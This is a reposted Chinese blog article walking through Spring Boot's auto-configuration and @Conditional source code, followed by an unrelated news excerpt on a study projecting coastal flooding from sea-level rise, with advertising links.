SpringBoot最核心的還是自動配置,為什麼它能做到開箱即用,不再需要我們手動使用@EnableXXX等註解來開啟?這一切的答案就在@SpringBootApplication註解中:

@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
@Documented
@Inherited
@SpringBootConfiguration
@EnableAutoConfiguration
@ComponentScan(excludeFilters = { @Filter(type = FilterType.CUSTOM, classes = TypeExcludeFilter.class),
		@Filter(type = FilterType.CUSTOM, classes = AutoConfigurationExcludeFilter.class) })
public @interface SpringBootApplication {}

這裏重要的註解有三個:@SpringBootConfiguration、@EnableAutoConfiguration、@ComponentScan。@ComponentScan就不用再說了,@SpringBootConfiguration等同於@Configuration,而@EnableAutoConfiguration就是開啟自動配置:

@AutoConfigurationPackage
@Import(AutoConfigurationImportSelector.class)
public @interface EnableAutoConfiguration {

}

@Import(AutoConfigurationPackages.Registrar.class)
public @interface AutoConfigurationPackage {

}

@AutoConfigurationPackage註解的作用就是將該註解所標記類所在的包作為自動配置的包,簡單看看就行,主要看AutoConfigurationImportSelector,這個就是實現自動配置的核心類,注意這個類是實現的DeferredImportSelector接口。
在這個類中有一個selectImports方法。這個方法在我之前的文章這一次搞懂Spring事務註解的解析也有分析過,只是實現類不同,它同樣會被ConfigurationClassPostProcessor類調用,先來看這個方法做了些什麼:

	public String[] selectImports(AnnotationMetadata annotationMetadata) {
		if (!isEnabled(annotationMetadata)) {
			return NO_IMPORTS;
		}
		AutoConfigurationMetadata autoConfigurationMetadata = AutoConfigurationMetadataLoader
				.loadMetadata(this.beanClassLoader);
		// 獲取所有的自動配置類
		AutoConfigurationEntry autoConfigurationEntry = getAutoConfigurationEntry(autoConfigurationMetadata,
				annotationMetadata);
		return StringUtils.toStringArray(autoConfigurationEntry.getConfigurations());
	}

	protected AutoConfigurationEntry getAutoConfigurationEntry(AutoConfigurationMetadata autoConfigurationMetadata,
			AnnotationMetadata annotationMetadata) {
		if (!isEnabled(annotationMetadata)) {
			return EMPTY_ENTRY;
		}
		AnnotationAttributes attributes = getAttributes(annotationMetadata);
		// SPI獲取EnableAutoConfiguration為key的所有實現類
		List<String> configurations = getCandidateConfigurations(annotationMetadata, attributes);
		configurations = removeDuplicates(configurations);
		Set<String> exclusions = getExclusions(annotationMetadata, attributes);
		checkExcludedClasses(configurations, exclusions);
		configurations.removeAll(exclusions);
		// 把某些自動配置類過濾掉
		configurations = filter(configurations, autoConfigurationMetadata);
		fireAutoConfigurationImportEvents(configurations, exclusions);
		// 包裝成自動配置實體類
		return new AutoConfigurationEntry(configurations, exclusions);
	}

	protected List<String> getCandidateConfigurations(AnnotationMetadata metadata, AnnotationAttributes attributes) {
		// SPI獲取EnableAutoConfiguration為key的所有實現類
		List<String> configurations = SpringFactoriesLoader.loadFactoryNames(getSpringFactoriesLoaderFactoryClass(),
				getBeanClassLoader());
		Assert.notEmpty(configurations, "No auto configuration classes found in META-INF/spring.factories. If you "
				+ "are using a custom packaging, make sure that file is correct.");
		return configurations;
	}

追蹤源碼最終可以看到也是從META-INF/spring.factories文件中拿到所有EnableAutoConfiguration對應的值(在spring-boot-autoconfigure中)並通過反射實例化,過濾后包裝成AutoConfigurationEntry對象返回。
看到這裏你應該會覺得自動配置的實現就是通過這個selectImports方法,但實際上這個方法通常並不會被調用到,而是會調用該類的內部類AutoConfigurationGroupprocessselectImports方法,前者同樣是通過getAutoConfigurationEntry拿到所有的自動配置類,而後者這是過濾排序並包裝后返回。
下面就來分析ConfigurationClassPostProcessor是怎麼調用到這裏的,直接進入processConfigBeanDefinitions方法:

	public void processConfigBeanDefinitions(BeanDefinitionRegistry registry) {
		List<BeanDefinitionHolder> configCandidates = new ArrayList<>();
		String[] candidateNames = registry.getBeanDefinitionNames();

		for (String beanName : candidateNames) {
			BeanDefinition beanDef = registry.getBeanDefinition(beanName);
			if (beanDef.getAttribute(ConfigurationClassUtils.CONFIGURATION_CLASS_ATTRIBUTE) != null) {
				if (logger.isDebugEnabled()) {
					logger.debug("Bean definition has already been processed as a configuration class: " + beanDef);
				}
			}
			else if (ConfigurationClassUtils.checkConfigurationClassCandidate(beanDef, this.metadataReaderFactory)) {
				configCandidates.add(new BeanDefinitionHolder(beanDef, beanName));
			}
		}

		// Return immediately if no @Configuration classes were found
		if (configCandidates.isEmpty()) {
			return;
		}

		// Sort by previously determined @Order value, if applicable
		configCandidates.sort((bd1, bd2) -> {
			int i1 = ConfigurationClassUtils.getOrder(bd1.getBeanDefinition());
			int i2 = ConfigurationClassUtils.getOrder(bd2.getBeanDefinition());
			return Integer.compare(i1, i2);
		});

		// Detect any custom bean name generation strategy supplied through the enclosing application context
		SingletonBeanRegistry sbr = null;
		if (registry instanceof SingletonBeanRegistry) {
			sbr = (SingletonBeanRegistry) registry;
			if (!this.localBeanNameGeneratorSet) {
				BeanNameGenerator generator = (BeanNameGenerator) sbr.getSingleton(
						AnnotationConfigUtils.CONFIGURATION_BEAN_NAME_GENERATOR);
				if (generator != null) {
					this.componentScanBeanNameGenerator = generator;
					this.importBeanNameGenerator = generator;
				}
			}
		}

		if (this.environment == null) {
			this.environment = new StandardEnvironment();
		}

		// Parse each @Configuration class
		ConfigurationClassParser parser = new ConfigurationClassParser(
				this.metadataReaderFactory, this.problemReporter, this.environment,
				this.resourceLoader, this.componentScanBeanNameGenerator, registry);

		Set<BeanDefinitionHolder> candidates = new LinkedHashSet<>(configCandidates);
		Set<ConfigurationClass> alreadyParsed = new HashSet<>(configCandidates.size());
		do {
			parser.parse(candidates);
			parser.validate();

			Set<ConfigurationClass> configClasses = new LinkedHashSet<>(parser.getConfigurationClasses());
			configClasses.removeAll(alreadyParsed);

			// Read the model and create bean definitions based on its content
			if (this.reader == null) {
				this.reader = new ConfigurationClassBeanDefinitionReader(
						registry, this.sourceExtractor, this.resourceLoader, this.environment,
						this.importBeanNameGenerator, parser.getImportRegistry());
			}
			this.reader.loadBeanDefinitions(configClasses);
			alreadyParsed.addAll(configClasses);

			// 省略。。。。
	}

前面一大段主要是拿到合格的Configuration配置類,主要邏輯是在ConfigurationClassParser.parse方法中,該方法完成了對@Component、@Bean、@Import、@ComponentScans等註解的解析,這裏主要看對@Import的解析,其它的讀者可自行分析。一步步追蹤,最終會進入到processConfigurationClass方法:

	protected void processConfigurationClass(ConfigurationClass configClass) throws IOException {
		if (this.conditionEvaluator.shouldSkip(configClass.getMetadata(), ConfigurationPhase.PARSE_CONFIGURATION)) {
			return;
		}

		ConfigurationClass existingClass = this.configurationClasses.get(configClass);
		if (existingClass != null) {
			if (configClass.isImported()) {
				if (existingClass.isImported()) {
					existingClass.mergeImportedBy(configClass);
				}
				// Otherwise ignore new imported config class; existing non-imported class overrides it.
				return;
			}
			else {
				// Explicit bean definition found, probably replacing an import.
				// Let's remove the old one and go with the new one.
				this.configurationClasses.remove(configClass);
				this.knownSuperclasses.values().removeIf(configClass::equals);
			}
		}

		// Recursively process the configuration class and its superclass hierarchy.
		SourceClass sourceClass = asSourceClass(configClass);
		do {
			sourceClass = doProcessConfigurationClass(configClass, sourceClass);
		}
		while (sourceClass != null);

		this.configurationClasses.put(configClass, configClass);
	}

這裏需要注意this.conditionEvaluator.shouldSkip方法的調用,這個方法就是進行Bean加載過濾的,即根據@Condition註解的匹配值判斷是否加載該Bean,具體實現稍後分析,繼續跟蹤主流程doProcessConfigurationClass

	protected final SourceClass doProcessConfigurationClass(ConfigurationClass configClass, SourceClass sourceClass)
			throws IOException {
		省略....

		// Process any @Import annotations
		processImports(configClass, sourceClass, getImports(sourceClass), true);

		省略....
		return null;
	}

這裏就是完成對一系列註解的支撐,我省略掉了,主要看processImports方法,這個方法就是處理@Import註解的:

	private void processImports(ConfigurationClass configClass, SourceClass currentSourceClass,
			Collection<SourceClass> importCandidates, boolean checkForCircularImports) {

		if (importCandidates.isEmpty()) {
			return;
		}

		if (checkForCircularImports && isChainedImportOnStack(configClass)) {
			this.problemReporter.error(new CircularImportProblem(configClass, this.importStack));
		}
		else {
			this.importStack.push(configClass);
			try {
				for (SourceClass candidate : importCandidates) {
					if (candidate.isAssignable(ImportSelector.class)) {
						// Candidate class is an ImportSelector -> delegate to it to determine imports
						Class<?> candidateClass = candidate.loadClass();
						ImportSelector selector = ParserStrategyUtils.instantiateClass(candidateClass, ImportSelector.class,
								this.environment, this.resourceLoader, this.registry);
						if (selector instanceof DeferredImportSelector) {
							this.deferredImportSelectorHandler.handle(configClass, (DeferredImportSelector) selector);
						}
						else {
							String[] importClassNames = selector.selectImports(currentSourceClass.getMetadata());
							Collection<SourceClass> importSourceClasses = asSourceClasses(importClassNames);
							processImports(configClass, currentSourceClass, importSourceClasses, false);
						}
					}
					else if (candidate.isAssignable(ImportBeanDefinitionRegistrar.class)) {
						Class<?> candidateClass = candidate.loadClass();
						ImportBeanDefinitionRegistrar registrar =
								ParserStrategyUtils.instantiateClass(candidateClass, ImportBeanDefinitionRegistrar.class,
										this.environment, this.resourceLoader, this.registry);
						configClass.addImportBeanDefinitionRegistrar(registrar, currentSourceClass.getMetadata());
					}
					else {
						this.importStack.registerImport(
								currentSourceClass.getMetadata(), candidate.getMetadata().getClassName());
						processConfigurationClass(candidate.asConfigClass(configClass));
					}
				}
			}
		}
	}

剛剛我提醒過AutoConfigurationImportSelector是實現DeferredImportSelector接口的,如果不是該接口的實現類則是直接調用selectImports方法,反之則是調用DeferredImportSelectorHandler.handle方法:

		private List<DeferredImportSelectorHolder> deferredImportSelectors = new ArrayList<>();
		
		public void handle(ConfigurationClass configClass, DeferredImportSelector importSelector) {
			DeferredImportSelectorHolder holder = new DeferredImportSelectorHolder(
					configClass, importSelector);
			if (this.deferredImportSelectors == null) {
				DeferredImportSelectorGroupingHandler handler = new DeferredImportSelectorGroupingHandler();
				handler.register(holder);
				handler.processGroupImports();
			}
			else {
				this.deferredImportSelectors.add(holder);
			}
		}

首先創建了一個DeferredImportSelectorHolder對象,如果是第一次執行則是添加到deferredImportSelectors屬性中,等到ConfigurationClassParser.parse的最後調用process方法:

	public void parse(Set<BeanDefinitionHolder> configCandidates) {
		省略.....

		this.deferredImportSelectorHandler.process();
	}

	public void process() {
		List<DeferredImportSelectorHolder> deferredImports = this.deferredImportSelectors;
		this.deferredImportSelectors = null;
		try {
			if (deferredImports != null) {
				DeferredImportSelectorGroupingHandler handler = new DeferredImportSelectorGroupingHandler();
				deferredImports.sort(DEFERRED_IMPORT_COMPARATOR);
				deferredImports.forEach(handler::register);
				handler.processGroupImports();
			}
		}
		finally {
			this.deferredImportSelectors = new ArrayList<>();
		}
	}

反之則是直接執行,首先通過register拿到AutoConfigurationGroup對象:

	public void register(DeferredImportSelectorHolder deferredImport) {
		Class<? extends Group> group = deferredImport.getImportSelector()
				.getImportGroup();
		DeferredImportSelectorGrouping grouping = this.groupings.computeIfAbsent(
				(group != null ? group : deferredImport),
				key -> new DeferredImportSelectorGrouping(createGroup(group)));
		grouping.add(deferredImport);
		this.configurationClasses.put(deferredImport.getConfigurationClass().getMetadata(),
				deferredImport.getConfigurationClass());
	}

	public Class<? extends Group> getImportGroup() {
		return AutoConfigurationGroup.class;
	}

然後在processGroupImports方法中進行真正的處理:

		public void processGroupImports() {
			for (DeferredImportSelectorGrouping grouping : this.groupings.values()) {
				grouping.getImports().forEach(entry -> {
					ConfigurationClass configurationClass = this.configurationClasses.get(
							entry.getMetadata());
					try {
						processImports(configurationClass, asSourceClass(configurationClass),
								asSourceClasses(entry.getImportClassName()), false);
					}
					catch (BeanDefinitionStoreException ex) {
						throw ex;
					}
					catch (Throwable ex) {
						throw new BeanDefinitionStoreException(
								"Failed to process import candidates for configuration class [" +
										configurationClass.getMetadata().getClassName() + "]", ex);
					}
				});
			}
		}

		public Iterable<Group.Entry> getImports() {
			for (DeferredImportSelectorHolder deferredImport : this.deferredImports) {
				this.group.process(deferredImport.getConfigurationClass().getMetadata(),
						deferredImport.getImportSelector());
			}
			return this.group.selectImports();
		}

getImports方法中就完成了對processselectImports方法的調用,拿到自動配置類后再遞歸調用調用processImports方法完成對自動配置類的加載。至此,自動配置的加載過程就分析完了,下面是時序圖:

Condition註解原理

在自動配置類中有很多Condition相關的註解,以AOP為例:

Configuration(proxyBeanMethods = false)
@ConditionalOnProperty(prefix = "spring.aop", name = "auto", havingValue = "true", matchIfMissing = true)
public class AopAutoConfiguration {

	@Configuration(proxyBeanMethods = false)
	@ConditionalOnClass(Advice.class)
	static class AspectJAutoProxyingConfiguration {

		@Configuration(proxyBeanMethods = false)
		@EnableAspectJAutoProxy(proxyTargetClass = false)
		@ConditionalOnProperty(prefix = "spring.aop", name = "proxy-target-class", havingValue = "false",
				matchIfMissing = false)
		static class JdkDynamicAutoProxyConfiguration {

		}

		@Configuration(proxyBeanMethods = false)
		@EnableAspectJAutoProxy(proxyTargetClass = true)
		@ConditionalOnProperty(prefix = "spring.aop", name = "proxy-target-class", havingValue = "true",
				matchIfMissing = true)
		static class CglibAutoProxyConfiguration {

		}

	}

	@Configuration(proxyBeanMethods = false)
	@ConditionalOnMissingClass("org.aspectj.weaver.Advice")
	@ConditionalOnProperty(prefix = "spring.aop", name = "proxy-target-class", havingValue = "true",
			matchIfMissing = true)
	static class ClassProxyingConfiguration {

		ClassProxyingConfiguration(BeanFactory beanFactory) {
			if (beanFactory instanceof BeanDefinitionRegistry) {
				BeanDefinitionRegistry registry = (BeanDefinitionRegistry) beanFactory;
				AopConfigUtils.registerAutoProxyCreatorIfNecessary(registry);
				AopConfigUtils.forceAutoProxyCreatorToUseClassProxying(registry);
			}
		}

	}

}

這裏就能看到@ConditionalOnProperty、@ConditionalOnClass、@ConditionalOnMissingClass,另外還有@ConditionalOnBean、@ConditionalOnMissingBean等等很多條件匹配註解。這些註解表示條件匹配才會加載該Bean,以@ConditionalOnProperty為例,表明配置文件中符合條件才會加載對應的Bean,prefix表示在配置文件中的前綴,name表示配置的名稱,havingValue表示配置為該值時才匹配,matchIfMissing則是表示沒有該配置是否默認加載對應的Bean。其它註解可類比理解記憶,下面主要來分析該註解的實現原理。
這裏註解點進去看會發現每個註解上都標註了@Conditional註解,並且value值都對應一個類,比如OnBeanCondition,而這些類都實現了Condition接口,看看其繼承體系:

上面只展示了幾個實現類,但實際上Condition的實現類是非常多的,我們還可以自己實現該接口來擴展@Condition註解。
Condition接口中有一個matches方法,這個方法返回true則表示匹配。該方法在ConfigurationClassParser中多處都有調用,也就是剛剛我提醒過的shouldSkip方法,具體實現是在ConditionEvaluator類中:

	public boolean shouldSkip(@Nullable AnnotatedTypeMetadata metadata, @Nullable ConfigurationPhase phase) {
		if (metadata == null || !metadata.isAnnotated(Conditional.class.getName())) {
			return false;
		}

		if (phase == null) {
			if (metadata instanceof AnnotationMetadata &&
					ConfigurationClassUtils.isConfigurationCandidate((AnnotationMetadata) metadata)) {
				return shouldSkip(metadata, ConfigurationPhase.PARSE_CONFIGURATION);
			}
			return shouldSkip(metadata, ConfigurationPhase.REGISTER_BEAN);
		}

		List<Condition> conditions = new ArrayList<>();
		for (String[] conditionClasses : getConditionClasses(metadata)) {
			for (String conditionClass : conditionClasses) {
				Condition condition = getCondition(conditionClass, this.context.getClassLoader());
				conditions.add(condition);
			}
		}

		AnnotationAwareOrderComparator.sort(conditions);

		for (Condition condition : conditions) {
			ConfigurationPhase requiredPhase = null;
			if (condition instanceof ConfigurationCondition) {
				requiredPhase = ((ConfigurationCondition) condition).getConfigurationPhase();
			}
			if ((requiredPhase == null || requiredPhase == phase) && !condition.matches(this.context, metadata)) {
				return true;
			}
		}

		return false;
	}

再來看看matches的實現,但OnBeanCondition類中沒有實現該方法,而是在其父類SpringBootCondition中:

	public final boolean matches(ConditionContext context, AnnotatedTypeMetadata metadata) {
		String classOrMethodName = getClassOrMethodName(metadata);
		try {
			ConditionOutcome outcome = getMatchOutcome(context, metadata);
			logOutcome(classOrMethodName, outcome);
			recordEvaluation(context, classOrMethodName, outcome);
			return outcome.isMatch();
		}

getMatchOutcome方法也是一個模板方法,具體的匹配邏輯就在這個方法中實現,該方法返回的ConditionOutcome對象就包含了是否匹配日誌消息兩個字段。進入到OnBeanCondition類中:

	public ConditionOutcome getMatchOutcome(ConditionContext context, AnnotatedTypeMetadata metadata) {
		ConditionMessage matchMessage = ConditionMessage.empty();
		MergedAnnotations annotations = metadata.getAnnotations();
		if (annotations.isPresent(ConditionalOnBean.class)) {
			Spec<ConditionalOnBean> spec = new Spec<>(context, metadata, annotations, ConditionalOnBean.class);
			MatchResult matchResult = getMatchingBeans(context, spec);
			if (!matchResult.isAllMatched()) {
				String reason = createOnBeanNoMatchReason(matchResult);
				return ConditionOutcome.noMatch(spec.message().because(reason));
			}
			matchMessage = spec.message(matchMessage).found("bean", "beans").items(Style.QUOTE,
					matchResult.getNamesOfAllMatches());
		}
		if (metadata.isAnnotated(ConditionalOnSingleCandidate.class.getName())) {
			Spec<ConditionalOnSingleCandidate> spec = new SingleCandidateSpec(context, metadata, annotations);
			MatchResult matchResult = getMatchingBeans(context, spec);
			if (!matchResult.isAllMatched()) {
				return ConditionOutcome.noMatch(spec.message().didNotFind("any beans").atAll());
			}
			else if (!hasSingleAutowireCandidate(context.getBeanFactory(), matchResult.getNamesOfAllMatches(),
					spec.getStrategy() == SearchStrategy.ALL)) {
				return ConditionOutcome.noMatch(spec.message().didNotFind("a primary bean from beans")
						.items(Style.QUOTE, matchResult.getNamesOfAllMatches()));
			}
			matchMessage = spec.message(matchMessage).found("a primary bean from beans").items(Style.QUOTE,
					matchResult.getNamesOfAllMatches());
		}
		if (metadata.isAnnotated(ConditionalOnMissingBean.class.getName())) {
			Spec<ConditionalOnMissingBean> spec = new Spec<>(context, metadata, annotations,
					ConditionalOnMissingBean.class);
			MatchResult matchResult = getMatchingBeans(context, spec);
			if (matchResult.isAnyMatched()) {
				String reason = createOnMissingBeanNoMatchReason(matchResult);
				return ConditionOutcome.noMatch(spec.message().because(reason));
			}
			matchMessage = spec.message(matchMessage).didNotFind("any beans").atAll();
		}
		return ConditionOutcome.match(matchMessage);
	}

可以看到該類支持了@ConditionalOnBean、@ConditionalOnSingleCandidate、@ConditionalOnMissingBean註解,主要的匹配邏輯在getMatchingBeans方法中:

	protected final MatchResult getMatchingBeans(ConditionContext context, Spec<?> spec) {
		ClassLoader classLoader = context.getClassLoader();
		ConfigurableListableBeanFactory beanFactory = context.getBeanFactory();
		boolean considerHierarchy = spec.getStrategy() != SearchStrategy.CURRENT;
		Set<Class<?>> parameterizedContainers = spec.getParameterizedContainers();
		if (spec.getStrategy() == SearchStrategy.ANCESTORS) {
			BeanFactory parent = beanFactory.getParentBeanFactory();
			Assert.isInstanceOf(ConfigurableListableBeanFactory.class, parent,
					"Unable to use SearchStrategy.ANCESTORS");
			beanFactory = (ConfigurableListableBeanFactory) parent;
		}
		MatchResult result = new MatchResult();
		Set<String> beansIgnoredByType = getNamesOfBeansIgnoredByType(classLoader, beanFactory, considerHierarchy,
				spec.getIgnoredTypes(), parameterizedContainers);
		for (String type : spec.getTypes()) {
			Collection<String> typeMatches = getBeanNamesForType(classLoader, considerHierarchy, beanFactory, type,
					parameterizedContainers);
			typeMatches.removeAll(beansIgnoredByType);
			if (typeMatches.isEmpty()) {
				result.recordUnmatchedType(type);
			}
			else {
				result.recordMatchedType(type, typeMatches);
			}
		}
		for (String annotation : spec.getAnnotations()) {
			Set<String> annotationMatches = getBeanNamesForAnnotation(classLoader, beanFactory, annotation,
					considerHierarchy);
			annotationMatches.removeAll(beansIgnoredByType);
			if (annotationMatches.isEmpty()) {
				result.recordUnmatchedAnnotation(annotation);
			}
			else {
				result.recordMatchedAnnotation(annotation, annotationMatches);
			}
		}
		for (String beanName : spec.getNames()) {
			if (!beansIgnoredByType.contains(beanName) && containsBean(beanFactory, beanName, considerHierarchy)) {
				result.recordMatchedName(beanName);
			}
			else {
				result.recordUnmatchedName(beanName);
			}
		}
		return result;
	}

這裏邏輯看起來比較複雜,但實際上就做了兩件事,首先通過getNamesOfBeansIgnoredByType方法調用beanFactory.getBeanNamesForType拿到容器中對應的Bean實例,然後根據返回的結果判斷哪些Bean存在,哪些Bean不存在(Condition註解中是可以配置多個值的)並返回MatchResult對象,而MatchResult中只要有一個Bean沒有匹配上就返回false,也就決定了當前Bean是否需要實例化。

總結

本篇分析了SpringBoot核心原理的實現,通過本篇相信讀者也將能更加熟練地使用和擴展SpringBoot。另外還有一些常用的組件我沒有展開分析,如事務、MVC、監聽器的自動配置,這些我們有了Spring源碼基礎的話下來看一下就明白了,這裏就不贅述了。最後讀者可以思考一下我們應該如何自定義starter啟動器,相信看完本篇應該難不倒你。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

新北清潔公司,居家、辦公、裝潢細清專業服務

※別再煩惱如何寫文案,掌握八大原則!

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※超省錢租車方案

比預估高三倍 氣候暖化海平面上升快 超過2億人將面臨洪水威脅

摘錄自2019年10月30日民視新聞、上報報導

最新研究顯示,到了2050年,海平面上升對人類的影響,超過以前預估的三倍,全球有2.37億人面臨沿海城市淹沒的威脅,比先前預估數字1.83億人多出許多。

近期刊登於國際期刊《自然通訊》(Nature Communications)的這份研究報告指出,到了2050年,約有3億人居住的地方每年至少會發生一次洪患。除非全球碳排放量有效降低,並且加強國家的沿海防洪措施。

根據研究結果顯示,擁有最多人口的亞洲地區將會面臨比其他洲更大的影響。到了2050年,全球面臨環境威脅的人口超過70%主要來自8個亞洲國家:中國、孟加拉、印度、越南、 印尼、泰國、菲律賓和日本。

其中又將以中國、泰國、印尼和印度的沿海地區最為嚴重,預計中國屆時將有1億人面臨氣候變遷所帶來的環境問題,孟加拉和印度也分別將有4200萬人和3500萬人受影響。

這項研究尚未將未來人口增長,及海岸侵蝕造成的土地損失考慮進去,因此實際災損可能更嚴重。這項研究並非是對這些地區宣判死刑。

數據顯示,全球已有1.1億人生活在漲潮線以下的地方,只要各國通力合作,減少溫室氣體排放,加上政府投入資金,盡快做好海堤防護措施,還有救。但各國也要開始思考備案,為沿海居民重新安置做好準備。

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!